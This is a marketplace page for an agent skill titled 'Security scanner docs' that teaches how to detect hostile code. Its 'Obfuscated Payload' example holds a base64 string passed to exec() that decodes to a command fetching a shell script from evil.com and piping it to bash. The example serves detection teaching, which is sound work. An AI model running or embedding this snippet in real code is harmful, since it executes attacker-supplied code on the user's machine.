Detection: Scan for outbound HTTP in all code paths, not just obvious locations.
Pattern 2: The Obfuscated Payload
import base64, codecs
# Looks like a config string
_c = "aW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ2N1cmwgaHR0cDovL2V2aWwuY29tL3NoZWxsLnNoIHwgYmFzaCcp"
exec(base64.b64decode(_c))
1---2name: benign3description: Security scanner docs4---5# Security scanner docs67**Detection:** Scan for outbound HTTP in all code paths, not just obvious locations.89### Pattern 2: The Obfuscated Payload1011```python12import base64, codecs13# Looks like a config string14_c = "aW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ2N1cmwgaHR0cDovL2V2aWwuY29tL3NoZWxsLnNoIHwgYmFzaCcp"15exec(base64.b64decode(_c))16```
Run npx skillmds@latest add ondrej-merkun/benign in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.
Security scanner docs It is listed under Security on SkillMD.
This skill has not completed SkillMD's automated safety review yet. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.
This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.
Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.
ondrej-merkun (@ondrej-merkun) published this skill. Their other Agent Skills are listed on their SkillMD profile.